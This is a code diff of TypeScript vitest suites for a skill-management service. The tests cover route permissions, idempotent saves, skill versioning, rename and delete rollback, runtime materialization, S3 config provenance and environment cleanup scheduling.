@@ -303,13 +307,14 @@ describe("company skill mutation permissions", () => {
onResponse?.(res);
next();
});
app.use("/api", companySkillRoutes({} as any));
app.use("/api", companySkillRoutes(database, options));
app.use(errorHandler);
return app;
}
beforeEach(() => {
vi.clearAllMocks();
mockHeartbeatFactory.mockReturnValue(mockHeartbeatService);
mockCaptureRunIdentity.mockResolvedValue({ run: { responsibleUserId: "validated-owner" } });
mockSkillSourceService.sourceForSkill.mockResolvedValue(null);
mockSkillSourceService.importFromUrl.mockImplementation((companyId, source) => mockCompanySkillService.importFromSource(companyId, source));
@@ -715,6 +720,25 @@ describe("company skill mutation permissions", () => {
mockReflectionCoachMutationGate.assertConsented.mockResolvedValue(undefined);
});
it("replays a concurrent identical save committed after the first receipt lookup", async () => {
const expectedVersionId = "11111111-1111-4111-8111-111111111111";
const input = { path: "SKILL.md", content: "# Saved", expectedVersionId };
const receipt = { skillId: "skill-1", path: "SKILL.md", versionId: "22222222-2222-4222-8222-222222222222", studioPath: "/skills/studio/skill-1" };
const where = vi.fn().mockResolvedValueOnce([]).mockResolvedValueOnce([{ details: {
fingerprint: createHash("sha256").update(JSON.stringify(input)).digest("hex"), receipt,
} }]);
const database = { select: () => ({ from: () => ({ where }) }), execute: vi.fn(), transaction: vi.fn() };
database.transaction.mockImplementation(callback => callback(database));
mockCompanySkillService.getById.mockResolvedValue({ id: "skill-1", sourceType: "managed" });
mockCompanySkillService.updateFile.mockRejectedValueOnce(Object.assign(new Error("Skill version changed"), { status: 409 }));
const app = createApp(boardActor(), undefined, database);
const response = await request(app).patch("/api/companies/company-1/skills/skill-1/files")
.send({ ...input, idempotencyKey: "same-save" }).expect(200);
expect(response.body).toEqual(receipt);
expect(database.execute).toHaveBeenCalledOnce();
expect(where).toHaveBeenCalledTimes(2);
});
it("allows local board operators to mutate company skills", async () => {
const res = await request(await createApp(boardActor()))
.post("/api/companies/company-1/skills/import")
@@ -1194,7 +1218,7 @@ describe("company skill mutation permissions", () => {
expect(mockCompanySkillService.installFromCatalog).toHaveBeenCalledWith("company-1", {
catalogSkillId: "paperclipai:bundled:software-development:review",
slug: "review",
});
}, expect.any(Function));
expect(mockLogActivity).toHaveBeenCalledWith(expect.anything(), expect.objectContaining({
companyId: "company-1",
action: "company.skill_catalog_installed",
@@ -1559,7 +1583,7 @@ describe("company skill mutation permissions", () => {
expect(mockCompanySkillService.createVersion).toHaveBeenCalledWith("company-1", "skill-1", { label: "v1" }, {
type: "user",
userId: "user-1",
});
}, { publication: expect.objectContaining({ validate: expect.any(Function), afterPublish: expect.any(Function) }) });
expect(mockLogActivity).toHaveBeenCalledWith(expect.anything(), expect.objectContaining({
action: "company.skill_version_created",
entityType: "company_skill_version",
@@ -1582,7 +1606,7 @@ describe("company skill mutation permissions", () => {
}, {
type: "user",
userId: "user-1",
});
}, expect.objectContaining({ validate: expect.any(Function), afterPublish: expect.any(Function) }));
expect(mockLogActivity).toHaveBeenCalledWith(expect.anything(), expect.objectContaining({
action: "company.skill_file_deleted",
entityType: "company_skill",
@@ -1621,6 +1645,7 @@ describe("company skill mutation permissions", () => {
type: "user",
userId: "user-1",
},
expect.objectContaining({ validate: expect.any(Function), afterPublish: expect.any(Function) }),
);
await request(app).get("/api/companies/company-1/skills/skill-1/fork-precheck").expect(200);
@@ -1667,6 +1692,7 @@ describe("company skill mutation permissions", () => {
"company-1",
"skill-1",
{ name: "Ship PR", slug: "ship-pr" },
expect.objectContaining({ validate: expect.any(Function), afterPublish: expect.any(Function) }),
);
expect(mockLogActivity).toHaveBeenCalledWith(expect.anything(), expect.objectContaining({
action: "company.skill_renamed",
@@ -1961,6 +1987,7 @@ describe("company skill mutation permissions", () => {
});
it("creates and cancels skill test runs through hidden issue orchestration", async () => {
const pluginWorkerManager = {} as PluginWorkerManager;
mockCompanySkillService.createTestRun.mockImplementationOnce(async (
_companyId: string,
_skillId: string,
@@ -2008,7 +2035,8 @@ describe("company skill mutation permissions", () => {
};
});
const app = await createApp(boardActor());
const app = await createApp(boardActor(), undefined, {}, { pluginWorkerManager });
expect(mockHeartbeatFactory).toHaveBeenCalledWith(expect.anything(), { pluginWorkerManager });
const created = await request(app)
.post("/api/companies/company-1/skills/skill-1/test-runs")
@@ -2172,7 +2200,7 @@ describe("company skill mutation permissions", () => {
expect(res.body).toEqual({
error: 'Cannot delete skill "Find Skills" while it is still used by Builder, Reviewer. Detach it from those agents first.',
});
expect(mockCompanySkillService.deleteSkill).toHaveBeenCalledWith("company-1", "skill-1");
expect(mockCompanySkillService.deleteSkill).toHaveBeenCalledWith("company-1", "skill-1", expect.any(Function), expect.any(Function));
expect(mockLogActivity).not.toHaveBeenCalled();
});
});
@@ -83,7 +83,7 @@ describeDatabase("selected runtime skill reconciliation", () => {
} finally { insert.mockRestore(); update.mockRestore(); }
});
it("refreshes selected bundled paths after an installation moves even when the old directory remains", async () => {
it("uses the committed bundled version even when a legacy installation path contains different bytes", async () => {
const service=companySkillService(db);
const initial=await service.listRuntimeSkillEntries(companyId,{includeLegacy:true,snapshotLatest:true});
const selected=initial[0]!;
@@ -94,7 +94,7 @@ describeDatabase("selected runtime skill reconciliation", () => {
const current=await service.listRuntimeSkillEntries(companyId,{onlyKeys:new Set([selected.key]),snapshotLatest:true});
expect(await fs.readFile(path.join(current[0]!.source,"SKILL.md"),"utf8")).toBe(await fs.readFile(path.join(selected.source,"SKILL.md"),"utf8"));
const [row]=await db.select().from(companySkills).where(and(eq(companySkills.companyId,companyId),eq(companySkills.key,selected.key)));
expect(row!.sourceLocator).not.toBe(old);
expect(row!.currentVersionId).toBe(selected.versionId);
expect(await fs.readFile(path.join(old,"SKILL.md"),"utf8")).toBe("Old installation content");
});
@@ -3,7 +3,7 @@ import os from "node:os";
import path from "node:path";
import { promises as fs } from "node:fs";
import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from "vitest";
import { eq } from "drizzle-orm";
import { and, eq } from "drizzle-orm";
import {
agents,
authUsers,
@@ -64,7 +64,7 @@ describeEmbeddedPostgres("companySkillService.list", () => {
process.env.PAPERCLIP_INSTANCE_ID = "default";
db = createDb(tempDb.connectionString);
svc = companySkillService(db);
}, 20_000);
}, process.env.PAPERCLIP_TEST_POSTGRES_ADMIN_URL ? 90_000 : 20_000);
afterEach(async () => {
for (const skill of await db.select().from(companySkills)) {
@@ -106,46 +106,27 @@ describeEmbeddedPostgres("companySkillService.list", () => {
fileInventory: [{ path: "SKILL.md", kind: "skill" },
...Array.from({ length: 20 }, (_, index) => ({ path: `references/${index}.md`, kind: "reference" as const }))],
});
await svc.createVersion(companyId, skillId, {}, null, { skipInventoryRefresh: true,
fileInventory: [{ path: "SKILL.md", kind: "skill", content: "# Installed skill" },
...Array.from({ length: 20 }, (_, index) => ({ path: `references/${index}.md`, kind: "reference" as const, content: "a".repeat(40) }))] });
return { companyId, skillId, key: `company/${companyId}/cached` };
}
it("refreshes once, reuses pinned runtime contents across service instances, and ignores cosmetic changes", async () => {
it("reads installed versions without upstream access and ignores cosmetic provenance changes", async () => {
const { companyId, skillId, key } = await createPinnedRuntimeFixture();
const upstream = vi.fn(async (url: string | URL) => new Response(String(url)));
const upstream = vi.fn().mockRejectedValue(new Error("Upstream unavailable"));
vi.stubGlobal("fetch", upstream);
const select = vi.spyOn(db, "select");
try {
const cold = (await svc.listRuntimeSkillEntries(companyId)).find((entry) => entry.key === key)!;
const cold = (await svc.listRuntimeSkillEntries(companyId)).find(entry => entry.key === key)!;
expect(cold.sourceStatus).toBe("available");
expect(select.mock.calls.filter(([fields]) => fields && Object.keys(fields).length === 1 && fields.id === companies.id)).toHaveLength(1);
expect(upstream).toHaveBeenCalledTimes(21);
expect(new Set(upstream.mock.calls.map(([url]) => String(url))).size).toBe(21);
const before = await fs.stat(path.join(cold.source, "SKILL.md"));
upstream.mockClear();
upstream.mockRejectedValue(new Error("Upstream outage"));
await db.update(companySkills).set({ name: "New display label", updatedAt: new Date(), metadata: { owner: "acme", repo: "cache", repoSkillDir: ".", trackingRef: "main", starred: true } }).where(eq(companySkills.id, skillId));
const warm = (await companySkillService(db).listRuntimeSkillEntries(companyId)).find((entry) => entry.key === key)!;
expect(warm).toEqual(cold);
await db.update(companySkills).set({ name: "New display label", sourceRef: "b".repeat(40) }).where(eq(companySkills.id, skillId));
expect((await companySkillService(db).listRuntimeSkillEntries(companyId)).find(entry => entry.key === key)).toEqual(cold);
expect(await fs.readFile(path.join(cold.source, "references/0.md"), "utf8")).toBe("a".repeat(40));
expect(upstream).not.toHaveBeenCalled();
expect((await fs.stat(path.join(warm.source, "SKILL.md"))).mtimeMs).toBe(before.mtimeMs);
const readOnly = (await svc.listRuntimeSkillEntries(companyId, { materializeMissing: false })).find((entry) => entry.key === key)!;
expect(readOnly).toEqual(warm);
await db.update(companySkills).set({ sourceRef: "b".repeat(40) }).where(eq(companySkills.id, skillId));
expect((await svc.listRuntimeSkillEntries(companyId, { materializeMissing: false })).find((entry) => entry.key === key)!.sourceStatus).toBe("missing");
expect(upstream).not.toHaveBeenCalled();
// An unavailable newly installed revision must never use the older cache.
expect((await svc.listRuntimeSkillEntries(companyId)).find((entry) => entry.key === key)!.sourceStatus).toBe("missing");
expect(await fs.readFile(path.join(cold.source, "references/0.md"), "utf8")).toContain("a".repeat(40));
upstream.mockImplementation(async (url) => new Response(String(url)));
const next = (await svc.listRuntimeSkillEntries(companyId)).find((entry) => entry.key === key)!;
expect(next.sourceStatus).toBe("available");
expect(next.source).not.toBe(cold.source);
expect(await fs.readFile(path.join(next.source, "references/0.md"), "utf8")).toContain("b".repeat(40));
expect(await fs.readFile(path.join(cold.source, "references/0.md"), "utf8")).toContain("a".repeat(40));
} finally { select.mockRestore(); vi.unstubAllGlobals(); }
} finally { vi.unstubAllGlobals(); }
});
it("deduplicates runtime downloads for twenty concurrent service callers and isolates companies", async () => {
it("shares immutable materializations for twenty concurrent callers and isolates companies", async () => {
const first = await createPinnedRuntimeFixture();
const second = await createPinnedRuntimeFixture();
const upstream = vi.fn(async (url: string | URL) => new Response(String(url)));
@@ -155,10 +136,10 @@ describeEmbeddedPostgres("companySkillService.list", () => {
const sources = batches.map((entries) => entries.find((entry) => entry.key === first.key)!);
expect(sources.every((entry) => entry.sourceStatus === "available")).toBe(true);
expect(new Set(sources.map((entry) => entry.source)).size).toBe(1);
expect(upstream).toHaveBeenCalledTimes(21);
expect(upstream).not.toHaveBeenCalled();
const other = (await svc.listRuntimeSkillEntries(second.companyId)).find((entry) => entry.key === second.key)!;
expect(other.source).not.toBe(sources[0].source);
expect(upstream).toHaveBeenCalledTimes(42);
expect(upstream).not.toHaveBeenCalled();
} finally { vi.unstubAllGlobals(); }
});
@@ -198,14 +179,16 @@ describeEmbeddedPostgres("companySkillService.list", () => {
expect(await svc.getById(companyId, skill.id)).not.toBeNull();
} finally { lockFailure.mockRestore(); }
await svc.deleteSkill(companyId, skill.id);
await expect(fs.stat(path.dirname(path.dirname(next.source)))).rejects.toMatchObject({ code: "ENOENT" });
expect(await db.select().from(companySkillVersions).where(eq(companySkillVersions.companySkillId, skill.id))).toEqual([]);
} finally { vi.unstubAllGlobals(); }
});
it("observes edits to a direct local source on the next preparation", async () => {
const companyId = randomUUID();
await db.insert(companies).values({ id: companyId, name: "Local cache", issuePrefix: `T${companyId.slice(0, 6)}` });
const skill = await svc.createLocalSkill(companyId, { name: "Local source", slug: "local-source" });
const directory = await createManagedSkillDir(companyId, "linked-local-");
await fs.writeFile(path.join(directory, "SKILL.md"), "---\nname: local-source\n---\nLocal source\n");
const skill = (await svc.importFromSource(companyId, directory)).imported[0]!;
const first = (await svc.listRuntimeSkillEntries(companyId)).find((entry) => entry.key === skill.key)!;
await fs.appendFile(path.join(first.source, "SKILL.md"), "\nNew local instructions\n");
const next = (await svc.listRuntimeSkillEntries(companyId)).find((entry) => entry.key === skill.key)!;
@@ -226,7 +209,7 @@ describeEmbeddedPostgres("companySkillService.list", () => {
expect(results.filter((result) => result.status === "rejected")).toHaveLength(1);
const skill = await svc.getByKey(companyId, `company/${companyId}/same-slug`);
expect(skill).toBeTruthy();
expect(await fs.readFile(path.join(skill!.sourceLocator!, "SKILL.md"), "utf8"))
expect((await svc.readFile(companyId, skill!.id, "SKILL.md"))!.content)
.toMatch(/^# (first|second)\n$/);
expect(await db.select().from(companySkillVersions).where(eq(companySkillVersions.companySkillId, skill!.id)))
.toHaveLength(1);
@@ -242,8 +225,8 @@ describeEmbeddedPostgres("companySkillService.list", () => {
})).rejects.toThrow("simulate outer rollback");
const retried = await svc.createLocalSkill(companyId, input);
expect(await fs.readFile(path.join(retried.sourceLocator!, "SKILL.md"), "utf8")).toBe(input.markdown);
expect(await db.select().from(companySkills).where(eq(companySkills.companyId, companyId))).toHaveLength(1);
expect((await svc.readFile(companyId, retried.id, "SKILL.md"))!.content).toBe(input.markdown);
expect(await db.select().from(companySkills).where(and(eq(companySkills.companyId, companyId), eq(companySkills.sourceType, "managed")))).toHaveLength(1);
expect(await db.select().from(companySkillVersions).where(eq(companySkillVersions.companySkillId, retried.id))).toHaveLength(1);
});
@@ -254,9 +237,9 @@ describeEmbeddedPostgres("companySkillService.list", () => {
await svc.deleteSkill(companyId, original.id);
const replacement = await svc.createLocalSkill(companyId, { name: "Recreate", slug: "recreate", markdown: "# New instructions\n" });
expect(replacement.id).not.toBe(original.id);
expect(await fs.readFile(path.join(replacement.sourceLocator!, "SKILL.md"), "utf8")).toBe("# New instructions\n");
expect((await svc.readFile(companyId, replacement.id, "SKILL.md"))!.content).toBe("# New instructions\n");
expect(await svc.deleteSkill(companyId, original.id)).toBeNull();
expect(await fs.readFile(path.join(replacement.sourceLocator!, "SKILL.md"), "utf8")).toBe("# New instructions\n");
expect((await svc.readFile(companyId, replacement.id, "SKILL.md"))!.content).toBe("# New instructions\n");
});
it.each(["save", "delete", "rename"] as const)("rejects a stale file %s after the skill is replaced", async (operation) => {
@@ -316,59 +299,38 @@ describeEmbeddedPostgres("companySkillService.list", () => {
expect(movedReplacementPaths).toEqual([]);
expect(intercepted).toBe(true);
expect(replacement).toBeDefined();
expect(await fs.readFile(path.join(replacement!.sourceLocator!, "notes.md"), "utf8")).toBe("Replacement notes");
expect((await svc.readFile(companyId, replacement!.id, "notes.md"))!.content).toBe("Replacement notes");
expect(await svc.getById(companyId, replacement!.id)).not.toBeNull();
});
it("restores managed source files when the deletion transaction fails", async () => {
it("retains the committed managed version when deletion rolls back", async () => {
const companyId = randomUUID();
await db.insert(companies).values({ id: companyId, name: "Delete rollback", issuePrefix: `T${companyId.slice(0, 6)}` });
const original = await svc.createLocalSkill(companyId, { name: "Retained", slug: "retained", markdown: "# Keep these instructions\n" });
const failingDb = new Proxy(db, {
get(target, property, receiver) {
if (property === "transaction") return (callback: (tx: any) => Promise<unknown>) => target.transaction(async (tx) => callback(new Proxy(tx, {
get(transaction, key, transactionReceiver) {
if (key === "delete") return () => { throw new Error("Deletion write failed"); };
return Reflect.get(transaction, key, transactionReceiver);
},
})));
return Reflect.get(target, property, receiver);
},
});
await expect(companySkillService(failingDb).deleteSkill(companyId, original.id)).rejects.toThrow("Deletion write failed");
expect(await svc.getById(companyId, original.id)).not.toBeNull();
expect(await fs.readFile(path.join(original.sourceLocator!, "SKILL.md"), "utf8")).toBe("# Keep these instructions\n");
await seedCompany(companyId);
const original = await svc.createLocalSkill(companyId, { name: "Retained", markdown: "# Keep these instructions\n" });
await expect(svc.deleteSkills(companyId, [original.id], async () => { throw new Error("Deletion write failed"); }))
.rejects.toThrow("Deletion write failed");
expect(await svc.readFile(companyId, original.id, "SKILL.md"))
.toMatchObject({ versionId: original.currentVersionId, content: "# Keep these instructions\n" });
});
it("serializes duplicate deletes with recreation without removing new files", async () => {
it("serializes duplicate deletes with recreation without removing the new identity", async () => {
const companyId = randomUUID();
await db.insert(companies).values({ id: companyId, name: "Delete concurrency", issuePrefix: `T${companyId.slice(0, 6)}` });
await seedCompany(companyId);
const original = await svc.createLocalSkill(companyId, { name: "Concurrent", slug: "concurrent-delete", markdown: "# Old\n" });
let release!: () => void;
let staged!: () => void;
const gate = new Promise<void>((resolve) => { release = resolve; });
const ready = new Promise<void>((resolve) => { staged = resolve; });
const rename = fs.rename.bind(fs);
const pause = vi.spyOn(fs, "rename").mockImplementation(async (source, target) => {
await rename(source, target);
if (source === original.sourceLocator) {
staged();
await gate;
}
});
let release!: () => void, staged!: () => void;
const gate = new Promise<void>(resolve => { release = resolve; });
const ready = new Promise<void>(resolve => { staged = resolve; });
const deletion = svc.deleteSkills(companyId, [original.id], async () => { staged(); await gate; });
try {
const deletion = svc.deleteSkill(companyId, original.id);
await ready;
const duplicate = svc.deleteSkill(companyId, original.id);
const creation = svc.createLocalSkill(companyId, { name: "Replacement", slug: original.slug, markdown: "# Replacement\n" });
release();
const [, repeatedDelete, replacement] = await Promise.all([deletion, duplicate, creation]);
expect(repeatedDelete).toBeNull();
expect(await fs.readFile(path.join(replacement.sourceLocator!, "SKILL.md"), "utf8")).toBe("# Replacement\n");
} finally {
release();
pause.mockRestore();
}
expect(replacement.id).not.toBe(original.id);
expect((await svc.readFile(companyId, replacement.id, "SKILL.md"))!.content).toBe("# Replacement\n");
} finally { release(); }
});
it("does not remove imported local source files when deleting a skill", async () => {
@@ -382,23 +344,14 @@ describeEmbeddedPostgres("companySkillService.list", () => {
expect(await fs.readFile(path.join(source, "SKILL.md"), "utf8")).toBe(markdown);
});
it("rejects a differing retry after rollback without changing durable bytes", async () => {
it("permits a fresh create after rollback without adopting the orphaned candidate", async () => {
const companyId = randomUUID();
await db.insert(companies).values({ id: companyId, name: "Rollback conflict", issuePrefix: `T${companyId.slice(0, 6)}` });
const original = { name: "Original", slug: "rollback-conflict", markdown: "# original bytes\n" };
await expect(db.transaction(async (tx) => {
await companySkillService(tx as any, { packageDb: db }).createLocalSkill(companyId, original);
throw new Error("simulate outer rollback");
})).rejects.toThrow("simulate outer rollback");
await expect(svc.createLocalSkill(companyId, {
name: "Different",
slug: original.slug,
markdown: "# changed bytes\n",
})).rejects.toMatchObject({ status: 409 });
const managedRoot = path.join(paperclipHome!, "instances", "default", "skills", companyId);
expect(await fs.readFile(path.join(managedRoot, original.slug, "SKILL.md"), "utf8")).toBe(original.markdown);
expect(await db.select().from(companySkills).where(eq(companySkills.companyId, companyId))).toHaveLength(0);
await seedCompany(companyId);
await expect(svc.createLocalSkill(companyId, { name: "Original", slug: "rolled-back", markdown: "# orphan\n" }, null,
{ afterPublish: async () => { throw new Error("rollback"); } })).rejects.toThrow("rollback");
const saved = await svc.createLocalSkill(companyId, { name: "Different", slug: "rolled-back", markdown: "# committed\n" });
expect((await svc.readFile(companyId, saved.id, "SKILL.md"))!.content).toBe("# committed\n");
expect(await db.select().from(companySkills).where(and(eq(companySkills.companyId, companyId), eq(companySkills.sourceType, "managed")))).toHaveLength(1);
});
it("does not adopt an unrelated preexisting managed directory", async () => {
@@ -409,20 +362,20 @@ describeEmbeddedPostgres("companySkillService.list", () => {
await fs.mkdir(skillDir, { recursive: true });
await fs.writeFile(path.join(skillDir, "SKILL.md"), "# unrelated\n", "utf8");
await expect(svc.createLocalSkill(companyId, {
name: "Requested",
slug: "occupied",
markdown: "# requested\n",
})).rejects.toMatchObject({ status: 409 });
const saved = await svc.createLocalSkill(companyId, {
name: "Requested", slug: "occupied", markdown: "# requested\n",
});
expect((await svc.readFile(companyId, saved.id, "SKILL.md"))!.content).toBe("# requested\n");
expect(await fs.readFile(path.join(skillDir, "SKILL.md"), "utf8")).toBe("# unrelated\n");
expect(await db.select().from(companySkills).where(eq(companySkills.companyId, companyId))).toHaveLength(0);
expect(await db.select().from(companySkills).where(and(eq(companySkills.companyId, companyId), eq(companySkills.sourceType, "managed")))).toHaveLength(1);
});
it("observes supporting-only local file saves across runtime preparations and service restarts", async () => {
const companyId = randomUUID();
await db.insert(companies).values({ id: companyId, name: "Local supporting files", issuePrefix: `T${companyId.slice(0, 6)}` });
const skill = await svc.createLocalSkill(companyId, { name: "Local references", slug: "local-references" });
const source = skill.sourceLocator!;
const source = await createManagedSkillDir(companyId, "local-references-");
await fs.writeFile(path.join(source, "SKILL.md"), "---\nname: local-references\n---\nRead reference.md\n");
const skill = (await svc.importFromSource(companyId, source)).imported[0]!;
await fs.writeFile(path.join(source, "reference.md"), "Original supporting file");
await db.update(companySkills).set({
fileInventory: [...skill.fileInventory, { path: "reference.md", kind: "reference" }],
@@ -843,7 +796,7 @@ describeEmbeddedPostgres("companySkillService.list", () => {
await svc.list(companyId);
await svc.list(companyId);
const before = await db.select().from(companySkillVersions).where(eq(companySkillVersions.companyId, companyId));
const original = before[0]!;
const original = before.find(version => version.releaseId)!;
await db.delete(companySkillVersions).where(eq(companySkillVersions.id, original.id));
await companySkillService(db).list(companyId);
const after = await db.select().from(companySkillVersions).where(eq(companySkillVersions.companyId, companyId));
@@ -859,7 +812,7 @@ describeEmbeddedPostgres("companySkillService.list", () => {
await db.insert(companies).values({ id: companyId, name: "Release integrity checks", issuePrefix: "RIC" });
await svc.list(companyId);
await svc.list(companyId);
const [version] = await db.select().from(companySkillVersions).where(eq(companySkillVersions.companyId, companyId));
const version = (await db.select().from(companySkillVersions).where(eq(companySkillVersions.companyId, companyId))).find(row => row.releaseId)!;
const changed = [{ path: "SKILL.md", kind: "skill" as const, content: "Changed stored snapshot" }];
await db.update(companySkillVersions).set({ fileInventory: changed }).where(eq(companySkillVersions.id, version!.id));
await expect(companySkillService(db).list(companyId)).rejects.toThrow("does not match its seeded snapshot");
@@ -883,14 +836,14 @@ describeEmbeddedPostgres("companySkillService.list", () => {
if (!paperclipSkill) throw new Error("Expected bundled Paperclip skill");
const versions = await svc.listVersions(companyId, paperclipSkill.id);
expect(versions.map((version) => version.releaseId).sort()).toEqual(["v0", "v7-roster"]);
expect(versions).toHaveLength(2);
expect(versions.flatMap(version => version.releaseId ? [version.releaseId] : []).sort()).toEqual(["v0", "v7-roster"]);
expect(versions).toHaveLength(3);
const storedSkill = await db
.select({ currentVersionId: companySkills.currentVersionId })
.from(companySkills)
.where(eq(companySkills.id, paperclipSkill.id))
.then((rows) => rows[0]);
expect(storedSkill?.currentVersionId).toBeNull();
expect(versions.some(version => version.id === storedSkill?.currentVersionId)).toBe(true);
const champion = versions.find((version) => version.releaseId === "v7-roster");
expect(champion).toMatchObject({
@@ -1750,7 +1703,7 @@ describeEmbeddedPostgres("companySkillService.list", () => {
const normalizedForkSlug = `${sourceType.replace("_", "-")}-skill-fork`;
expect(first.skill).toMatchObject({
slug: normalizedForkSlug,
sourceType: "local_path",
sourceType: "managed",
forkedFromSkillId: source!.id,
});
expect(second.skill.slug).toBe(`${normalizedForkSlug}-2`);
@@ -3324,7 +3277,7 @@ describeEmbeddedPostgres("companySkillService.list", () => {
return `${slug}--${createHash("sha256").update(key).digest("hex").slice(0, 10)}`;
}
it("renames a Paperclip-managed skill, moving the directory and rewriting SKILL.md frontmatter", async () => {
it("renames a Paperclip-managed skill by publishing new frontmatter with preserved history", async () => {
const companyId = randomUUID();
await seedCompany(companyId);
const skill = await svc.createLocalSkill(
@@ -3332,8 +3285,6 @@ describeEmbeddedPostgres("companySkillService.list", () => {
{ name: "Prepare PR", slug: "prepare-pr", description: "Prep pull requests" },
{ type: "user", userId: "board" },
);
const oldDir = skill.sourceLocator!;
const managedRoot = path.dirname(oldDir);
const result = await svc.renameSkill(companyId, skill.id, { name: "Ship PR", slug: "ship-pr" });
@@ -3350,10 +3301,8 @@ describeEmbeddedPostgres("companySkillService.list", () => {
},
});
const newDir = path.join(managedRoot, "ship-pr");
expect(result.skill.sourceLocator).toBe(newDir);
await expect(fs.stat(oldDir)).rejects.toMatchObject({ code: "ENOENT" });
const renamedMarkdown = await fs.readFile(path.join(newDir, "SKILL.md"), "utf8");
expect(result.skill.sourceLocator).toBeNull();
const renamedMarkdown = (await svc.readFile(companyId, skill.id, "SKILL.md"))!.content;
expect(renamedMarkdown).toContain("name: Ship PR");
expect(renamedMarkdown).not.toContain("name: Prepare PR");
@@ -3362,16 +3311,16 @@ describeEmbeddedPostgres("companySkillService.list", () => {
expect(persisted).toMatchObject({ description: "Prep pull requests" });
expect(persisted?.markdown).toBe(renamedMarkdown);
const versions = await svc.listVersions(companyId, skill.id);
expect(versions).toHaveLength(1);
expect(versions).toHaveLength(2);
});
it("quotes YAML-special names while keeping stored and on-disk markdown synchronized", async () => {
it("quotes YAML-special names in both the version and metadata projection", async () => {
const companyId = randomUUID();
await seedCompany(companyId);
const skill = await svc.createLocalSkill(companyId, { name: "Prepare PR", slug: "prepare-pr" });
const result = await svc.renameSkill(companyId, skill.id, { name: "Ship: PR #1", slug: "ship-pr" });
const markdown = await fs.readFile(path.join(result.skill.sourceLocator!, "SKILL.md"), "utf8");
const markdown = (await svc.readFile(companyId, skill.id, "SKILL.md"))!.content;
const persisted = await svc.getById(companyId, skill.id);
expect(markdown).toContain('name: "Ship: PR #1"');
@@ -3379,7 +3328,7 @@ describeEmbeddedPostgres("companySkillService.list", () => {
expect(persisted?.markdown).toBe(markdown);
});
it("supports a name-only rename that keeps the slug/key and directory", async () => {
it("supports a name-only rename that keeps the slug and key", async () => {
const companyId = randomUUID();
await seedCompany(companyId);
const skill = await svc.createLocalSkill(
@@ -3398,7 +3347,7 @@ describeEmbeddedPostgres("companySkillService.list", () => {
key: `company/${companyId}/prepare-pr`,
sourceLocator: dir,
});
const markdown = await fs.readFile(path.join(dir, "SKILL.md"), "utf8");
const markdown = (await svc.readFile(companyId, skill.id, "SKILL.md"))!.content;
expect(markdown).toContain("name: Prepare Pull Request");
});
@@ -3596,21 +3545,17 @@ describeEmbeddedPostgres("companySkillService.list", () => {
expect(other.paperclipSkillSync.desiredSkills).toEqual([`company/${companyId}/unrelated`]);
});
it("removes the old runtime materialization when the key/slug changes", async () => {
it("resolves a saved version by stable identity after a rename", async () => {
const companyId = randomUUID();
await seedCompany(companyId);
const skill = await svc.createLocalSkill(companyId, { name: "Runtime Skill", slug: "runtime-skill" });
const managedRoot = path.dirname(skill.sourceLocator!);
const oldRuntimeDir = path.join(managedRoot, "__runtime__", runtimeSkillName(skill.key, skill.slug));
await fs.mkdir(oldRuntimeDir, { recursive: true });
await fs.writeFile(path.join(oldRuntimeDir, "SKILL.md"), "# stale\n", "utf8");
const revisionCacheRoot = path.join(managedRoot, "__runtime_cache_v1__", skill.id);
await fs.mkdir(revisionCacheRoot, { recursive: true });
await fs.writeFile(path.join(revisionCacheRoot, "old-cache"), "stale");
await svc.renameSkill(companyId, skill.id, { name: "Runtime Skill", slug: "runtime-renamed" });
await expect(fs.stat(revisionCacheRoot)).rejects.toMatchObject({ code: "ENOENT" });
await expect(fs.stat(oldRuntimeDir)).rejects.toMatchObject({ code: "ENOENT" });
const [before] = await svc.listRuntimeSkillEntries(companyId, { onlyKeys: new Set([skill.key]), snapshotLatest: true });
const renamed = await svc.renameSkill(companyId, skill.id, { name: "Renamed Skill", slug: "runtime-renamed" });
const [pinned] = await svc.listRuntimeSkillEntries(companyId, { onlyKeys: new Set([skill.key]), snapshotLatest: true,
versionSelections: new Map([[skill.key, before!.versionId!]]) });
expect(pinned).toMatchObject({ key: skill.key, versionId: before!.versionId, runtimeName: before!.runtimeName });
expect(await fs.readFile(path.join(pinned!.source, "SKILL.md"), "utf8")).toBe(skill.markdown);
expect(renamed.skill.currentVersionId).not.toBe(before!.versionId);
});
});
+14
View File
@@ -91,6 +91,20 @@ describe("readConfigFile", () => {
});
});
it("preserves explicit bucket provenance without changing defaults for existing readers", () => {
for (const bucket of [undefined, "paperclip"]) {
writeConfig(configPath, {
...minimalConfig() as object,
storage: { provider: "s3", s3: bucket === undefined ? {} : { bucket } },
});
expect(readConfigFile()?.storage.s3.bucket).toBe("paperclip");
expect(readConfigFile({ includeProvenance: true })).toMatchObject({
config: { storage: { s3: { bucket: "paperclip" } } },
explicitStorageS3Bucket: bucket !== undefined,
});
}
});
it("warns about likely misspellings without stripping them", () => {
const config = {
...(minimalConfig() as Record<string, unknown>),
@@ -1,3 +1,5 @@
import { readIdleSleepSafety } from "../services/idle-sleep-safety.js";
import { createOwnedSandbox } from "../services/sandbox-creation-operations.js";
import { mkdtemp, writeFile, rm } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
@@ -7,7 +9,7 @@ import { idleWorkSnapshot } from "../services/task-admission.js";
import { randomUUID } from "node:crypto";
import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest";
import { eq, sql } from "drizzle-orm";
import { companies, createDb, environmentLeases, environments, type Db } from "@paperclipai/db";
import { companies, createDb, sandboxCreationOperations, environmentLeases, environments, type Db } from "@paperclipai/db";
import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js";
import { createDeliveryWorkCoordinator } from "../services/delivery-work-coordinator.js";
import { registerEnvironmentCleanupWork } from "../services/environment-cleanup-work.js";
@@ -34,7 +36,7 @@ describe.skipIf(!support.supported)("environment cleanup scheduling", () => {
await Promise.all(Array.from({ length: 6 }, () => db.execute(sql`select pg_sleep(0.01)`)));
}, 90_000);
beforeEach(async () => {
await db.execute(sql`TRUNCATE companies, environments CASCADE`);
await db.execute(sql`TRUNCATE sandbox_creation_operations, companies, environments CASCADE`);
companyId = randomUUID(); environmentId = randomUUID(); draining = false; failing = false; errors.length = 0;
await db.insert(companies).values({ id: companyId, name: "Cleanup worker", issuePrefix: "CLN" });
await db.insert(environments).values({ id: environmentId, name: environmentId, driver: "sandbox" });
@@ -99,6 +101,64 @@ describe.skipIf(!support.supported)("environment cleanup scheduling", () => {
await settle(180_000); expect(inspections).toHaveBeenCalledTimes(3);
await quiet();
});
